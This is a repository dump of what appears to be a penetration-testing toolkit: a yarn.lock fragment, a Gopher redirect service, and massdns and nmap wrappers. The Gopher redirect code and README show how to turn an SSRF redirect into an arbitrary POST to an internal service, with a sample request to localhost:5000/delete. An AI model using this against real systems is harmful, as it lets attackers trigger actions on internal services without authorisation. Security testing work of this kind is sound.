sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ== 318 | dependencies: 319 | asynckit "^0.4.0" 320 | combined-stream "^1.0.6" 321 | mime-types "^2.1.12" 322 | 323 | forwarded@~0.1.2: 324 | version "0.1.2" 325 | resolved "https://registry.yarnpkg.com/forwarded/-/forwarded-0.1.2.tgz#98c23dab1175657b8c0573e8ceccd91b0ff18c84" 326 | integrity sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ= 327 | 328 | fresh@0.5.2: 329 | version "0.5.2" 330 | resolved "https://registry.yarnpkg.com/fresh/-/fresh-0.5.2.tgz#3d8cadd90d976569fa835ab1f8e4b23a105605a7" 331 | integrity sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac= 332 | 333 | function-bind@^1.1.0, function-bind@^1.1.1: 334 | version "1.1.1" 335 | resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.1.tgz#a56899d3ea3c9bab874bb9773b7c5ede92f4895d" 336 | integrity sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A== 337 | 338 | has-symbols@^1.0.0: 339 | version "1.0.0" 340 | resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.0.tgz#ba1a8f1af2a0fc39650f5c850367704122063b44" 341 | integrity sha1-uhqPGvKg/DllD1yFA2dwQSIGO0Q= 342 | 343 | has@^1.0.1: 344 | version "1.0.3" 345 | resolved "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796" 346 | integrity sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw== 347 | dependencies: 348 | function-bind "^1.1.1" 349 | 350 | http-errors@1.6.3, http-errors@~1.6.2, http-errors@~1.6.3: 351 | version "1.6.3" 352 | resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.6.3.tgz#8b55680bb4be283a0b5bf4ea2e38580be1d9320d" 353 | integrity sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0= 354 | dependencies: 355 | depd "~1.1.2" 356 | inherits "2.0.3" 357 | setprototypeof "1.1.0" 358 | statuses ">= 1.4.0 < 2" 359 | 360 | iconv-lite@0.4.23: 361 | version "0.4.23" 362 | resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.23.tgz#297871f63be507adcfbfca715d0cd0eed84e9a63" 363 | integrity sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA== 364 | dependencies: 365 | safer-buffer ">= 2.1.2 < 3" 366 | 367 | inherits@2.0.3: 368 | version "2.0.3" 369 | resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de" 370 | integrity sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4= 371 | 372 | ipaddr.js@1.8.0: 373 | version "1.8.0" 374 | resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-1.8.0.tgz#eaa33d6ddd7ace8f7f6fe0c9ca0440e706738b1e" 375 | integrity sha1-6qM9bd16zo9/b+DJygRA5wZzix4= 376 | 377 | is-buffer@^2.0.2: 378 | version "2.0.4" 379 | resolved "https://registry.yarnpkg.com/is-buffer/-/is-buffer-2.0.4.tgz#3e572f23c8411a5cfd9557c849e3665e0b290623" 380 | integrity sha512-Kq1rokWXOPXWuaMAqZiJW4XxsmD9zGx9q4aePabbn3qCRGedtH7Cm+zV8WETitMfu1wdh+Rvd6w5egwSngUX2A== 381 | 382 | is-callable@^1.1.3, is-callable@^1.1.4: 383 | version "1.1.4" 384 | resolved "https://registry.yarnpkg.com/is-callable/-/is-callable-1.1.4.tgz#1e1adf219e1eeb684d691f9d6a05ff0d30a24d75" 385 | integrity sha512-r5p9sxJjYnArLjObpjA4xu5EKI3CuKHkJXMhT7kwbpUyIFD1n5PMAsoPvWnvtZiNz7LjkYDRZhd7FlI0eMijEA== 386 | 387 | is-date-object@^1.0.1: 388 | version "1.0.1" 389 | resolved "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.0.1.tgz#9aa20eb6aeebbff77fbd33e74ca01b33581d3a16" 390 | integrity sha1-mqIOtq7rv/d/vTPnTKAbM1gdOhY= 391 | 392 | is-regex@^1.0.4: 393 | version "1.0.4" 394 | resolved "https://registry.yarnpkg.com/is-regex/-/is-regex-1.0.4.tgz#5517489b547091b0930e095654ced25ee97e9491" 395 | integrity sha1-VRdIm1RwkbCTDglWVM7SXul+lJE= 396 | dependencies: 397 | has "^1.0.1" 398 | 399 | is-stream@^1.1.0: 400 | version "1.1.0" 401 | resolved "https://registry.yarnpkg.com/is-stream/-/is-stream-1.1.0.tgz#12d4a3dd4e68e0b79ceb8dbc84173ae80d91ca44" 402 | integrity sha1-EtSj3U5o4Lec6428hBc66A2RykQ= 403 | 404 | is-symbol@^1.0.2: 405 | version "1.0.2" 406 | resolved "https://registry.yarnpkg.com/is-symbol/-/is-symbol-1.0.2.tgz#a055f6ae57192caee329e7a860118b497a950f38" 407 | integrity sha512-HS8bZ9ox60yCJLH9snBpIwv9pYUAkcuLhSA1oero1UB5y9aiQpRA8y2ex945AOtCZL1lJDeIk3G5LthswI46Lw== 408 | dependencies: 409 | has-symbols "^1.0.0" 410 | 411 | is_js@^0.9.0: 412 | version "0.9.0" 413 | resolved "https://registry.yarnpkg.com/is_js/-/is_js-0.9.0.tgz#0ab94540502ba7afa24c856aa985561669e9c52d" 414 | integrity sha1-CrlFQFArp6+iTIVqqYVWFmnpxS0= 415 | 416 | loglevel@^1.6.1: 417 | version "1.6.1" 418 | resolved "https://registry.yarnpkg.com/loglevel/-/loglevel-1.6.1.tgz#e0fc95133b6ef276cdc8887cdaf24aa6f156f8fa" 419 | integrity sha1-4PyVEztu8nbNyIh82vJKpvFW+Po= 420 | 421 | media-typer@0.3.0: 422 | version "0.3.0" 423 | resolved "https://registry.yarnpkg.com/media-typer/-/media-typer-0.3.0.tgz#8710d7af0aa626f8fffa1ce00168545263255748" 424 | integrity sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g= 425 | 426 | merge-descriptors@1.0.1: 427 | version "1.0.1" 428 | resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.1.tgz#b00aaa556dd8b44568150ec9d1b953f3f90cbb61" 429 | integrity sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E= 430 | 431 | methods@~1.1.2: 432 | version "1.1.2" 433 | resolved "https://registry.yarnpkg.com/methods/-/methods-1.1.2.tgz#5529a4d67654134edcc5266656835b0f851afcee" 434 | integrity sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4= 435 | 436 | mime-db@~1.37.0: 437 | version "1.37.0" 438 | resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.37.0.tgz#0b6a0ce6fdbe9576e25f1f2d2fde8830dc0ad0d8" 439 | integrity sha512-R3C4db6bgQhlIhPU48fUtdVmKnflq+hRdad7IyKhtFj06VPNVdk2RhiYL3UjQIlso8L+YxAtFkobT0VK+S/ybg== 440 | 441 | mime-types@^2.1.12, mime-types@~2.1.18: 442 | version "2.1.21" 443 | resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.21.tgz#28995aa1ecb770742fe6ae7e58f9181c744b3f96" 444 | integrity sha512-3iL6DbwpyLzjR3xHSFNFeb9Nz/M8WDkX33t1GFQnFOllWk8pOrh/LSrB5OXlnlW5P9LH73X6loW/eogc+F5lJg== 445 | dependencies: 446 | mime-db "~1.37.0" 447 | 448 | mime@1.4.1: 449 | version "1.4.1" 450 | resolved "https://registry.yarnpkg.com/mime/-/mime-1.4.1.tgz#121f9ebc49e3766f311a76e1fa1c8003c4b03aa6" 451 | integrity sha512-KI1+qOZu5DcW6wayYHSzR/tXKCDC5Om4s1z2QJjDULzLcmf3DvzS7oluY4HCTrc+9FiKmWUgeNLg7W3uIQvxtQ== 452 | 453 | ms@2.0.0: 454 | version "2.0.0" 455 | resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8" 456 | integrity sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g= 457 | 458 | negotiator@0.6.1: 459 | version "0.6.1" 460 | resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.1.tgz#2b327184e8992101177b28563fb5e7102acd0ca9" 461 | integrity sha1-KzJxhOiZIQEXeyhWP7XnECrNDKk= 462 | 463 | object-keys@^1.0.12: 464 | version "1.0.12" 465 | resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-1.0.12.tgz#09c53855377575310cca62f55bb334abff7b3ed2" 466 | integrity sha512-FTMyFUm2wBcGHnH2eXmz7tC6IwlqQZ6mVZ+6dm6vZ4IQIHjs6FdNsQBuKGPuUUUY6NfJw2PshC08Tn6LzLDOag== 467 | 468 | object.entries@^1.0.4: 469 | version "1.0.4" 470 | resolved "https://registry.yarnpkg.com/object.entries/-/object.entries-1.0.4.tgz#1bf9a4dd2288f5b33f3a993d257661f05d161a5f" 471 | integrity sha1-G/mk3SKI9bM/Opk9JXZh8F0WGl8= 472 | dependencies: 473 | define-properties "^1.1.2" 474 | es-abstract "^1.6.1" 475 | function-bind "^1.1.0" 476 | has "^1.0.1" 477 | 478 | object.getownpropertydescriptors@^2.0.3: 479 | version "2.0.3" 480 | resolved "https://registry.yarnpkg.com/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.0.3.tgz#8758c846f5b407adab0f236e0986f14b051caa16" 481 | integrity sha1-h1jIRvW0B62rDyNuCYbxSwUcqhY= 482 | dependencies: 483 | define-properties "^1.1.2" 484 | es-abstract "^1.5.1" 485 | 486 | object.values@^1.0.4: 487 | version "1.0.4" 488 | resolved "https://registry.yarnpkg.com/object.values/-/object.values-1.0.4.tgz#e524da09b4f66ff05df457546ec72ac99f13069a" 489 | integrity sha1-5STaCbT2b/Bd9FdUbscqyZ8TBpo= 490 | dependencies: 491 | define-properties "^1.1.2" 492 | es-abstract "^1.6.1" 493 | function-bind "^1.1.0" 494 | has "^1.0.1" 495 | 496 | on-finished@~2.3.0: 497 | version "2.3.0" 498 | resolved "https://registry.yarnpkg.com/on-finished/-/on-finished-2.3.0.tgz#20f1336481b083cd75337992a16971aa2d906947" 499 | integrity sha1-IPEzZIGwg811M3mSoWlxqi2QaUc= 500 | dependencies: 501 | ee-first "1.1.1" 502 | 503 | p-cancelable@^0.3.0: 504 | version "0.3.0" 505 | resolved "https://registry.yarnpkg.com/p-cancelable/-/p-cancelable-0.3.0.tgz#b9e123800bcebb7ac13a479be195b507b98d30fa" 506 | integrity sha512-RVbZPLso8+jFeq1MfNvgXtCRED2raz/dKpacfTNxsx6pLEpEomM7gah6VeHSYV3+vo0OAi4MkArtQcWWXuQoyw== 507 | 508 | p-queue@^2.3.0: 509 | version "2.4.2" 510 | resolved "https://registry.yarnpkg.com/p-queue/-/p-queue-2.4.2.tgz#03609826682b743be9a22dba25051bd46724fc34" 511 | integrity sha512-n8/y+yDJwBjoLQe1GSJbbaYQLTI7QHNZI2+rpmCDbe++WLf9HC3gf6iqj5yfPAV71W4UF3ql5W1+UBPXoXTxng== 512 | 513 | p-retry@^2.0.0: 514 | version "2.0.0" 515 | resolved "https://registry.yarnpkg.com/p-retry/-/p-retry-2.0.0.tgz#b97f1f4d6d81a3c065b2b40107b811e995c1bfba" 516 | integrity sha512-ZbCuzAmiwJ45q4evp/IG9D+5MUllGSUeCWwPt3j/tdYSi1KPkSD+46uqmAA1LhccDhOXv8kYZKNb8x78VflzfA== 517 | dependencies: 518 | retry "^0.12.0" 519 | 520 | parseurl@~1.3.2: 521 | version "1.3.2" 522 | resolved "https://registry.yarnpkg.com/parseurl/-/parseurl-1.3.2.tgz#fc289d4ed8993119460c156253262cdc8de65bf3" 523 | integrity sha1-/CidTtiZMRlGDBViUyYs3I3mW/M= 524 | 525 | path-to-regexp@0.1.7: 526 | version "0.1.7" 527 | resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-0.1.7.tgz#df604178005f522f15eb4490e7247a1bfaa67f8c" 528 | integrity sha1-32BBeABfUi8V60SQ5yR6G/qmf4w= 529 | 530 | proxy-addr@~2.0.4: 531 | version "2.0.4" 532 | resolved "https://registry.yarnpkg.com/proxy-addr/-/proxy-addr-2.0.4.tgz#ecfc733bf22ff8c6f407fa275327b9ab67e48b93" 533 | integrity sha512-5erio2h9jp5CHGwcybmxmVqHmnCBZeewlfJ0pex+UW7Qny7OOZXTtH56TGNyBizkgiOwhJtMKrVzDTeKcySZwA== 534 | dependencies: 535 | forwarded "~0.1.2" 536 | ipaddr.js "1.8.0" 537 | 538 | qs@6.5.2: 539 | version "6.5.2" 540 | resolved "https://registry.yarnpkg.com/qs/-/qs-6.5.2.tgz#cb3ae806e8740444584ef154ce8ee98d403f3e36" 541 | integrity sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA== 542 | 543 | range-parser@~1.2.0: 544 | version "1.2.0" 545 | resolved "https://registry.yarnpkg.com/range-parser/-/range-parser-1.2.0.tgz#f49be6b487894ddc40dcc94a322f611092e00d5e" 546 | integrity sha1-9JvmtIeJTdxA3MlKMi9hEJLgDV4= 547 | 548 | raw-body@2.3.3, raw-body@^2.3.3: 549 | version "2.3.3" 550 | resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.3.3.tgz#1b324ece6b5706e153855bc1148c65bb7f6ea0c3" 551 | integrity sha512-9esiElv1BrZoI3rCDuOuKCBRbuApGGaDPQfjSflGxdy4oyzqghxu6klEkkVIvBje+FF0BX9coEv8KqW6X/7njw== 552 | dependencies: 553 | bytes "3.0.0" 554 | http-errors "1.6.3" 555 | iconv-lite "0.4.23" 556 | unpipe "1.0.0" 557 | 558 | request-ip@^2.1.1: 559 | version "2.1.3" 560 | resolved "https://registry.yarnpkg.com/request-ip/-/request-ip-2.1.3.tgz#99ab2bafdeaf2002626e28083cb10597511d9e14" 561 | integrity sha512-J3qdE/IhVM3BXkwMIVO4yFrvhJlU3H7JH16+6yHucadT4fePnR8dyh+vEs6FIx0S2x5TCt2ptiPfHcn0sqhbYQ== 562 | dependencies: 563 | is_js "^0.9.0" 564 | 565 | retry@^0.12.0: 566 | version "0.12.0" 567 | resolved "https://registry.yarnpkg.com/retry/-/retry-0.12.0.tgz#1b42a6266a21f07421d1b0b54b7dc167b01c013b" 568 | integrity sha1-G0KmJmoh8HQh0bC1S33BZ7AcATs= 569 | 570 | safe-buffer@5.1.2: 571 | version "5.1.2" 572 | resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d" 573 | integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g== 574 | 575 | "safer-buffer@>= 2.1.2 < 3": 576 | version "2.1.2" 577 | resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a" 578 | integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg== 579 | 580 | send@0.16.2: 581 | version "0.16.2" 582 | resolved "https://registry.yarnpkg.com/send/-/send-0.16.2.tgz#6ecca1e0f8c156d141597559848df64730a6bbc1" 583 | integrity sha512-E64YFPUssFHEFBvpbbjr44NCLtI1AohxQ8ZSiJjQLskAdKuriYEP6VyGEsRDH8ScozGpkaX1BGvhanqCwkcEZw== 584 | dependencies: 585 | debug "2.6.9" 586 | depd "~1.1.2" 587 | destroy "~1.0.4" 588 | encodeurl "~1.0.2" 589 | escape-html "~1.0.3" 590 | etag "~1.8.1" 591 | fresh "0.5.2" 592 | http-errors "~1.6.2" 593 | mime "1.4.1" 594 | ms "2.0.0" 595 | on-finished "~2.3.0" 596 | range-parser "~1.2.0" 597 | statuses "~1.4.0" 598 | 599 | serve-static@1.13.2: 600 | version "1.13.2" 601 | resolved "https://registry.yarnpkg.com/serve-static/-/serve-static-1.13.2.tgz#095e8472fd5b46237db50ce486a43f4b86c6cec1" 602 | integrity sha512-p/tdJrO4U387R9oMjb1oj7qSMaMfmOyd4j9hOFoxZe2baQszgHcSWjuya/CiT5kgZZKRudHNOA0pYXOl8rQ5nw== 603 | dependencies: 604 | encodeurl "~1.0.2" 605 | escape-html "~1.0.3" 606 | parseurl "~1.3.2" 607 | send "0.16.2" 608 | 609 | setprototypeof@1.1.0: 610 | version "1.1.0" 611 | resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.0.tgz#d0bd85536887b6fe7c0d818cb962d9d91c54e656" 612 | integrity sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ== 613 | 614 | "statuses@>= 1.4.0 < 2": 615 | version "1.5.0" 616 | resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c" 617 | integrity sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow= 618 | 619 | statuses@~1.4.0: 620 | version "1.4.0" 621 | resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.4.0.tgz#bb73d446da2796106efcc1b601a253d6c46bd087" 622 | integrity sha512-zhSCtt8v2NDrRlPQpCNtw/heZLtfUDqxBM1udqikb/Hbk52LK4nQSwr10u77iopCW5LsyHpuXS0GnEc48mLeew== 623 | 624 | type-is@~1.6.16: 625 | version "1.6.16" 626 | resolved "https://registry.yarnpkg.com/type-is/-/type-is-1.6.16.tgz#f89ce341541c672b25ee7ae3c73dee3b2be50194" 627 | integrity sha512-HRkVv/5qY2G6I8iab9cI7v1bOIdhm94dVjQCPFElW9W+3GeDOSHmy2EBYe4VTApuzolPcmgFTN3ftVJRKR2J9Q== 628 | dependencies: 629 | media-typer "0.3.0" 630 | mime-types "~2.1.18" 631 | 632 | unpipe@1.0.0, unpipe@~1.0.0: 633 | version "1.0.0" 634 | resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec" 635 | integrity sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw= 636 | 637 | utils-merge@1.0.1: 638 | version "1.0.1" 639 | resolved "https://registry.yarnpkg.com/utils-merge/-/utils-merge-1.0.1.tgz#9f95710f50a267947b2ccc124741c1028427e713" 640 | integrity sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM= 641 | 642 | uuid@^3.3.2: 643 | version "3.3.2" 644 | resolved "https://registry.yarnpkg.com/uuid/-/uuid-3.3.2.tgz#1b4af4955eb3077c501c23872fc6513811587131" 645 | integrity sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA== 646 | 647 | vary@~1.1.2: 648 | version "1.1.2" 649 | resolved "https://registry.yarnpkg.com/vary/-/vary-1.1.2.tgz#2299f02c6ded30d4a5961b0b9f74524a18f634fc" 650 | integrity sha1-IpnwLG3tMNSllhsLn3RSShj2NPw= 651 | 652 | ws@^5.2.0: 653 | version "5.2.2" 654 | resolved "https://registry.yarnpkg.com/ws/-/ws-5.2.2.tgz#dffef14866b8e8dc9133582514d1befaf96e980f" 655 | integrity sha512-jaHFD6PFv6UgoIVda6qZllptQsMlDEJkTQcybzzXDYM1XO9Y8em691FGMPmM46WGyLU4z9KMgQN+qrux/nhlHA== 656 | dependencies: 657 | async-limiter "~1.0.0" 658 | -------------------------------------------------------------------------------- /gopher_redirect/README.md: -------------------------------------------------------------------------------- 1 | # Gopher Redirect 2 | 3 | This serverless function reads in a raw request from the `redirect_request.req` file, converts it to a Gopher URL, and then redirects any incoming request to that URL. 4 | 5 | This can be extremely useful to force a client to switch from a GET request to an anrbitrary POST request (assuming the client supports Gopher). 6 | 7 | ## Deployment 8 | Customize the file `redirect_request.req` with the plaintext request you want. The example included is a POST request to `localhost:5000/delete`. 9 | 10 | The function also requires the environment variable `REDIRECT_HOST`, which is where the Gopher data will be sent. 11 | 12 | To deploy: 13 | 14 | ``` 15 | $ now -e REDIRECT_HOST="localhost:5000" 16 | ``` 17 | 18 | ## Example usage 19 | Any request to the function will be 307 redirected to a Gopher URL based on the supplied `redirect_request.req` file: 20 | 21 | ``` 22 | $ curl -i https://gopherredirect-htmexdltcs.now.sh/asdf 23 | HTTP/2 307 24 | date: Sun, 11 Nov 2018 01:07:48 GMT 25 | location: gopher://localhost:5000/_POST /delete HTTP/1.1%0AHost: localhost:5000%0AConnection: close%0A 26 | ``` 27 | 28 | If the client follows redirects and supports Gopher, a POST request will be made: 29 | 30 | ``` 31 | $ curl -L https://gopherredirect-htmexdltcs.now.sh/asdf 32 | 33 | $ ncat -lp 5000 34 | POST /delete HTTP/1.1 35 | Host: localhost:5000 36 | Connection: close 37 | ``` 38 | 39 | -------------------------------------------------------------------------------- /gopher_redirect/index.js: -------------------------------------------------------------------------------- 1 | const { createServer } = require('http'); 2 | const fs = require('fs'); 3 | 4 | // Read redirect location from ENV 5 | const redirectHost = process.env.REDIRECT_HOST || "localhost:3000" 6 | 7 | // Change redirect_request.req to full, valid HTTP request 8 | const redirectReq = fs.readFileSync('redirect_request.req', 'utf-8'); 9 | const commands = redirectReq.replace(/\n/g, '%0A'); 10 | 11 | createServer((req, res) => { 12 | const STATUS = 307; 13 | const Location = `gopher://${redirectHost}/_${commands}`; 14 | res.writeHead(STATUS, { Location } ); 15 | res.end(); 16 | }).listen(3000); 17 | -------------------------------------------------------------------------------- /gopher_redirect/now.json: -------------------------------------------------------------------------------- 1 | { 2 | "builds": [ 3 | { 4 | "src": "index.js", 5 | "use": "@now/node", 6 | "config": { 7 | "includeFiles": [ 8 | "redirect_request.req" 9 | ] 10 | } 11 | } 12 | ], 13 | "routes": [ 14 | { "src": "(.*)", "dest": "index.js"} 15 | ] 16 | } -------------------------------------------------------------------------------- /gopher_redirect/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "gopher_redirect", 3 | "version": "1.0.0", 4 | "description": "Serverless function to redirect to Gopher", 5 | "main": "server.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "Ronnie Flathers (@ropnop)", 10 | "license": "ISC" 11 | } 12 | -------------------------------------------------------------------------------- /gopher_redirect/redirect_request.req: -------------------------------------------------------------------------------- 1 | POST /delete HTTP/1.1 2 | Host: localhost:5000 3 | Connection: close 4 | -------------------------------------------------------------------------------- /imgs/gotty.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ropnop/serverless_toolkit/0dea6b377a3505a1feb306dac9554c9052724531/imgs/gotty.png -------------------------------------------------------------------------------- /imgs/massdns_serverless.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ropnop/serverless_toolkit/0dea6b377a3505a1feb306dac9554c9052724531/imgs/massdns_serverless.png -------------------------------------------------------------------------------- /imgs/nmap_serverless.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ropnop/serverless_toolkit/0dea6b377a3505a1feb306dac9554c9052724531/imgs/nmap_serverless.png -------------------------------------------------------------------------------- /imgs/req_dump.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ropnop/serverless_toolkit/0dea6b377a3505a1feb306dac9554c9052724531/imgs/req_dump.png -------------------------------------------------------------------------------- /imgs/serverless_dumper_passwd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ropnop/serverless_toolkit/0dea6b377a3505a1feb306dac9554c9052724531/imgs/serverless_dumper_passwd.png -------------------------------------------------------------------------------- /imgs/slack_tarball_dump.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ropnop/serverless_toolkit/0dea6b377a3505a1feb306dac9554c9052724531/imgs/slack_tarball_dump.png -------------------------------------------------------------------------------- /imgs/ssrf_notify_get.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ropnop/serverless_toolkit/0dea6b377a3505a1feb306dac9554c9052724531/imgs/ssrf_notify_get.png -------------------------------------------------------------------------------- /imgs/ssrf_notify_post.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ropnop/serverless_toolkit/0dea6b377a3505a1feb306dac9554c9052724531/imgs/ssrf_notify_post.png -------------------------------------------------------------------------------- /imgs/xxeserver_data.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ropnop/serverless_toolkit/0dea6b377a3505a1feb306dac9554c9052724531/imgs/xxeserver_data.png -------------------------------------------------------------------------------- /imgs/xxeserver_get_dtd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ropnop/serverless_toolkit/0dea6b377a3505a1feb306dac9554c9052724531/imgs/xxeserver_get_dtd.png -------------------------------------------------------------------------------- /massdns/.dockerignore: -------------------------------------------------------------------------------- 1 | .git 2 | .env 3 | *Dockerfile* 4 | node_modules 5 | -------------------------------------------------------------------------------- /massdns/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM mhart/alpine-node:latest 2 | RUN apk add g++ make 3 | RUN wget https://github.com/blechschmidt/massdns/archive/master.zip && unzip master.zip && rm master.zip 4 | WORKDIR /massdns-master/ 5 | RUN make && make install 6 | 7 | WORKDIR /app 8 | COPY package.json . 9 | RUN npm install 10 | COPY . . 11 | EXPOSE 3000 12 | CMD ["npm", "start"] 13 | -------------------------------------------------------------------------------- /massdns/README.md: -------------------------------------------------------------------------------- 1 | # Now V2 Update 2 | Unforatunately, I haven't figure out how to port this over to Now V2 since they no longer support running arbitrary Docker containers. This will not work unless you have an older now.sh account that has been grandfathered in to still supporting V1. 3 | 4 | # Massdns Serverless 5 | This example compiles and installs [massdns](https://github.com/blechschmidt/massdns) inside a Docker container running the Micro webserver. The webserver reads data from POST request bodies, writes it to a temp file, and executes `massdns` against it like so: 6 | 7 | `massdns -r /massdns-master/lists/resolvers.txt -o J ${tmpdir}/domains.txt` 8 | 9 | Stdout from the process is massaged a little bit to make well-formed JSON, and then the response is returned in an HTTP response. 10 | 11 | This is more of a PoC of what is possible with serverless container execution. I'd probably rather just rather run massdns in a container locally, but if you ever find yourself needing to resolve a lot of domain names and only have the ability to make HTTP requests, this might be useful 12 | 13 | ## Deployment 14 | ``` 15 | $ now --public 16 | ``` 17 | Select `[2] Dockerfile` for deployment type 18 | 19 | ## Usage 20 | You must POST a file with domain names on each line. The easiest way is with curl: 21 | 22 | ``` 23 | $ curl -s -X POST --data-binary "@domains.txt" https://massdns-gingahvmrz.now.sh 24 | ``` 25 | This will return JSON that can be parsed with `jq` or your tool of choice. -------------------------------------------------------------------------------- /massdns/now.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": 1 3 | } 4 | -------------------------------------------------------------------------------- /massdns/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "massdns-serverless", 3 | "version": "1.0.0", 4 | "description": "Serverless deployment of massdns", 5 | "scripts": { 6 | "test": "echo \"Error: no test specified\" && exit 1", 7 | "start": "micro server.js" 8 | }, 9 | "author": "Ronnie Flathers (@ropnop)", 10 | "license": "ISC", 11 | "dependencies": { 12 | "micro": "^9.3.3" 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /massdns/server.js: -------------------------------------------------------------------------------- 1 | const { buffer, send } = require('micro'); 2 | const os = require('os'); 3 | const { promisify } = require('util'); 4 | const writeFile = promisify(require('fs').writeFile); 5 | const exec = promisify(require('child_process').exec); 6 | 7 | const tmpdir = os.tmpdir(); 8 | 9 | module.exports = async (req, res) => { 10 | if (req.method != "POST") { 11 | return `To use this function, POST a newline delimited list of domains to resolve. E.g. \`curl -X POST --data-binary \"@domains.txt\" ${req.headers.host} \`` 12 | } 13 | const buf = await buffer(req); 14 | await writeFile(`${tmpdir}/domains.txt`, buf) 15 | try { 16 | const { stdout, stderr } = await exec(`massdns -r /massdns-master/lists/resolvers.txt -o J ${tmpdir}/domains.txt`); 17 | let arrayString = stdout.replace(/\n$/, "").replace(/\n/g, ","); 18 | let answers = `[ ${arrayString} ]`; 19 | return JSON.parse(answers); 20 | } catch (err) { 21 | send(res, 500, err); 22 | } 23 | 24 | } 25 | -------------------------------------------------------------------------------- /nmap_scan/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:10-alpine 2 | RUN apk add nmap 3 | 4 | WORKDIR /app 5 | COPY package.json . 6 | RUN npm install 7 | ADD . /app 8 | EXPOSE 3000 9 | CMD ["node", "index.js"] 10 | 11 | -------------------------------------------------------------------------------- /nmap_scan/README.md: -------------------------------------------------------------------------------- 1 | # Now V2 Update 2 | Unforatunately, I haven't figure out how to port this over to Now V2 since they no longer support running arbitrary Docker containers. This will not work unless you have an older now.sh account that has been grandfathered in to still supporting V1. 3 | 4 | # Nmap Scan 5 | This serverless function wraps an Express app around a basic Nmap scan. It listens for a single URL query called `host` and then executes a fast nmap scan against it with the following options: 6 | 7 | ``` 8 | nmap -Pn -F -sT $host 9 | ``` 10 | 11 | The normal nmap output is captured and then returned in the HTTP response. 12 | 13 | This is useful for quickly scanning a target IP from an external source. Quicker than SSHing into a VPS to run a quick Nmap scan 